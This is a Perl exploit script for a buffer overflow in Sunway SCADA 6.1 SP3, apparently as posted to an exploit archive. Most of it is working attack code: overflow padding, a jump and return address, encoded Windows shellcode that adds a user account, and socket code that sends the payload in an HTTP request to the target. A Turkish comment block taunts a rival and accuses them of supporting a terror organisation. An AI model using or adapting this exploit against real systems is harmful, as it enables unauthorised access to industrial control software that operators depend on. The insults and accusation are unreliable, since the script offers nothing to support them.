Sunway SCADA 6.1 SP3 Buffer Overflow

`#!/usr/bin/perl  
#Sunway SCADA Add User Exploit for fun ;)  
#Tested on XP SP1  
# _ _ _ _ _ _ _   
# | |__ ___| | | ___ | | ___) __| | __| |_ _   
# | '_ \ / _ \ | |/ _ \ | |/ / |/ _` |/ _` | | | |  
# | | | | __/ | | (_) | | <| | (_| | (_| | |_| |  
# |_| |_|\___|_|_|\___/ |_|\_\_|\__,_|\__,_|\__, |  
# |___/   
  
#Bir turlu olamayanin avuntusu; "underground'im ben" demek  
#Demek benim ustumden yiyecegini sandin bele$ ekmek?   
#Lan kendi yolunu bulman icin benden kurtulman gerek!   
#En buyuk hatan benden cevap beklemek.  
#Laf yemek istiyosun hem de benden!  
#Demek elimden yemek yemek istiyosun ac bebek?  
#   
#  
#Selam karde$,  
#  
#Mesele exploit yazmak degil, biraz adam olabilmekte.Bu ulkede senin gibi console-kiddy zaten yeterince var!  
#Tavrini gordukce cocuk olduguna emin olduk.   
#Cocuklugunun yaninda gecmisinde pek parlak degilmis o da ayri bir konu,  
#Sevgili eski teror orgutu destekcisi , kizil heykir! Bu karakter ve gecmisinle lutfen bize yaklasma.  
#Herkes kendi isini yapsin!  
#  
#P.S. exploit'deki bulmacayi, bize gonderdigin her lafta tekrar tekrar cozersin ;)  
#  
#31337 presented... contact: [email protected]  
  
use IO::Socket;  
use strict;  
  
my $target = $ARGV[0];  
  
my $otuzuc = "W" x 1127;  
  
my $otuz = "\xeb\x06\x90\x90"; # jmp  
my $seksen = "\x98\x15\xD7\x5A"; # ret  
  
# windows/adduser - 446 bytes Encoder: x86/alpha_mixed  
# USER=jenny, EXITFUNC=seh, PASS=pass  
my $yetmisxxxx = "\x89\xe6\xdb\xc8\xd9\x76\xf4\x5f\x57\x59\x49\x49\x49\x49\x49".  
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a".  
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32".  
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49".  
"\x4b\x4c\x4b\x58\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x50".  
"\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x42\x58\x43\x31\x4a\x4f".  
"\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a".  
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31".  
"\x49\x50\x4c\x59\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45\x57\x49".  
"\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47\x4b".  
"\x51\x44\x51\x34\x45\x54\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x46".  
"\x44\x45\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b".  
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45".  
"\x51\x4a\x4b\x4b\x39\x51\x4c\x47\x54\x45\x54\x49\x53\x51\x4f".  
"\x50\x31\x4a\x56\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46\x50".  
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d".  
"\x4c\x4b\x43\x58\x45\x58\x4d\x59\x4a\x58\x4c\x43\x49\x50\x42".  
"\x4a\x50\x50\x45\x38\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x43\x58".  
"\x4a\x38\x4b\x4e\x4c\x4a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42".  
"\x43\x42\x4d\x43\x54\x46\x4e\x43\x55\x43\x48\x43\x55\x51\x30".  
"\x46\x4f\x42\x43\x51\x30\x42\x4e\x42\x45\x44\x34\x47\x50\x44".  
"\x35\x42\x53\x45\x35\x43\x42\x51\x30\x43\x5a\x43\x55\x42\x4e".  
"\x42\x4e\x43\x49\x47\x50\x42\x50\x43\x51\x43\x43\x43\x43\x51".  
"\x30\x46\x4f\x51\x51\x51\x54\x51\x54\x51\x30\x51\x36\x47\x56".  
"\x47\x50\x42\x4e\x45\x35\x44\x34\x47\x50\x42\x4c\x42\x4f\x43".  
"\x53\x43\x51\x42\x4c\x43\x57\x42\x52\x42\x4f\x42\x55\x44\x30".  
"\x51\x30\x51\x51\x45\x34\x42\x4d\x42\x49\x42\x4e\x45\x39\x44".  
"\x33\x44\x34\x43\x42\x43\x51\x44\x34\x42\x4f\x42\x52\x43\x43".  
"\x47\x50\x43\x5a\x45\x35\x42\x4e\x42\x4e\x43\x49\x51\x30\x46".  
"\x4f\x47\x31\x51\x54\x47\x34\x43\x30\x41\x41";  
  
my $sentamamlakardes = "\x90" x 800; #junk  
  
  
my $payload = $otuzuc.$otuz.$seksen.$yetmisxxxx.$sentamamlakardes;  
  
#Bir basit kelama kurban gider krallar...  
  
  
my($SOCKET) = new IO::Socket::INET( Proto => "tcp",  
PeerAddr=> "$targer:80");  
if (! defined $SOCKET) { die $!; }  
print $SOCKET "GET /$payload HTTP/1.0\n\n";  
  
close($SOCKET);  
my($SOCKET2) = new IO::Socket::INET( Proto => "tcp",  
PeerAddr=> "$target:80");  
if (! defined $SOCKET2) { die $!; }  
print $SOCKET2 "GET / HTTP/1.0\n\n";  
  
`